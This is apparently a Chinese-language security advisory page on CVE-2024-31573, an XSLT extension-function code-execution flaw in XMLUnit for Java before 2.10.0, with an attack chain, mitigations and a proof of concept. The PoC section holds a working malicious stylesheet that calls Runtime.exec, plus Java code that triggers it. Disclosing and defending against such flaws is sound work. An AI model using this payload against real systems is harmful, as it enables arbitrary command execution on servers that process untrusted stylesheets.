IPBUF安全漏洞报告
English
CVE-2024-31573 CVSS 4.0 中危

CVE-2024-31573 XMLUnit for Java XSLT扩展函数代码执行漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2024-31573
漏洞类型
远程代码执行(XSLT注入)
CVSS评分
4.0 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
XMLUnit for Java

相关标签

代码执行XSLT注入XMLUnitJava扩展函数中危漏洞开源库CVE-2024-31573

漏洞概述

CVE-2024-31573是XMLUnit for Java库中存在的一个安全漏洞,影响版本低于2.10.0的所有版本。XMLUnit是一个广泛用于Java应用程序中进行XML文档比较和验证的开源库,在默认配置下,该库在处理XSLT(可扩展样式表语言转换)时启用了XSLT扩展函数功能。XSLT扩展函数允许XSLT样式表调用外部编程语言(如Java)的方法,这一特性在合法场景下非常有用,但如果处理的是不受信任的样式表,则可能被恶意利用来执行任意代码。攻击者可以通过构造恶意的XSLT样式表,利用启用的扩展函数调用Java的Runtime类或其他危险API,从而在目标系统上执行任意命令。该漏洞的CVSS评分为4.0,属于中危级别,攻击需要本地访问权限且攻击复杂度较高,但无需认证和用户交互即可触发。漏洞已于2024年4月由项目维护者修复,建议所有使用受影响版本的用户尽快升级到2.10.0或更高版本以消除安全风险。该漏洞的CVE记录由MITRE分配,披露日期为2025年10月17日,但实际修复时间更早。

技术细节

该漏洞的根本原因在于XMLUnit for Java在默认配置下未禁用XSLT扩展函数(XSLT Extension Functions)。XSLT扩展函数是XSLT规范中的一个特性,允许样式表通过特定命名空间调用底层处理器支持的编程语言函数。在Java生态系统中,常见的XSLT处理器如Apache Xalan支持通过命名空间如`http://xml.apache.org/xalan/java/java.lang.Runtime`来调用Java类的方法。当XMLUnit处理用户提供的XSLT样式表时,如果未禁用扩展函数,攻击者可以构造包含恶意Java方法调用的样式表。例如,通过调用`java.lang.Runtime.getRuntime().exec()`方法,攻击者可以在服务器上执行任意系统命令。漏洞利用的关键步骤包括:1)攻击者构造包含恶意XSLT扩展函数调用的样式表;2)该样式表被传递给使用XMLUnit的应用程序进行处理;3)XMLUnit调用底层XSLT处理器执行转换;4)XSLT处理器解析样式表并执行其中的扩展函数;5)恶意Java代码被执行。修复方案是在处理XSLT时设置`javax.xml.transform.TransformerFactory`的属性`http://www.oracle.com/xml/jaxp/properties/enableExtensionFunctions`为`false`,或者使用安全的特性URI来禁用扩展功能。该漏洞的修复提交为b81d48b71dfd2868bdfc30a3e17ff973f32bc15b。

攻击链分析

STEP 1
步骤1:构造恶意XSLT样式表
攻击者创建一个包含XSLT扩展函数调用的恶意样式表,利用Java命名空间(如Apache Xalan的Runtime命名空间)调用java.lang.Runtime.getRuntime().exec()等危险方法。
STEP 2
步骤2:投递恶意样式表
攻击者通过应用程序的输入接口(如文件上传、API调用、用户提供的转换模板等)将恶意XSLT样式表传递给使用XMLUnit的应用程序。
STEP 3
步骤3:触发XSLT转换
应用程序使用XMLUnit for Java库处理用户提供的样式表,执行XSLT转换操作。
STEP 4
步骤4:扩展函数被解析执行
由于XMLUnit默认配置下未禁用XSLT扩展函数,底层XSLT处理器(如Xalan)解析样式表并执行其中的扩展函数调用。
STEP 5
步骤5:任意代码执行
恶意Java代码(如Runtime.exec())被执行,攻击者获得在目标系统上执行任意命令的能力,可用于安装后门、窃取数据或进行进一步渗透。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?xml version="1.0" encoding="UTF-8"?> <!-- * PoC for CVE-2024-31573 * XMLUnit for Java XSLT Extension Function Code Execution * This malicious XSLT stylesheet exploits enabled XSLT extension functions * to execute arbitrary commands via Java Runtime.exec() --> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:str="http://xml.apache.org/xalan/java/java.lang.String" exclude-result-prefixes="rt str"> <xsl:template match="/"> <xsl:variable name="runtime" select="rt:getRuntime()"/> <xsl:variable name="command"> <str:new>calc.exe</str:new> </xsl:variable> <xsl:variable name="process" select="rt:exec($runtime, $command)"/> <result> <status>Code execution attempted</status> <command><xsl:value-of select="$command"/></command> </result> </xsl:template> </xsl:stylesheet> // Java code to trigger the vulnerability using XMLUnit: /* import org.xmlunit.transform.Transformation; import org.xmlunit.transform.Transform; import javax.xml.transform.Source; import javax.xml.transform.stream.StreamSource; import java.io.StringReader; public class XsltExploit { public static void main(String[] args) throws Exception { String maliciousXslt = "<!-- above XSLT content -->"; Source xsltSource = new StreamSource(new StringReader(maliciousXslt)); Source xmlSource = new StreamSource(new StringReader("<root/>")); // XMLUnit before 2.10.0 - extension functions enabled by default Transformation transformation = new Transformation(xmlSource, xsltSource); // This will trigger code execution transformation.transform(); } } */

影响范围

XMLUnit for Java < 2.10.0

防御指南

临时缓解措施
在无法立即升级的情况下,可以通过编程方式禁用XSLT扩展函数来缓解风险。具体方法是创建TransformerFactory实例后,设置属性`factory.setAttribute("http://www.oracle.com/xml/jaxp/properties/enableExtensionFunctions", false)`,或者使用`factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`启用安全处理特性。同时建议对所有传入的XSLT样式表进行严格审查,确保其来源可信且内容安全。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表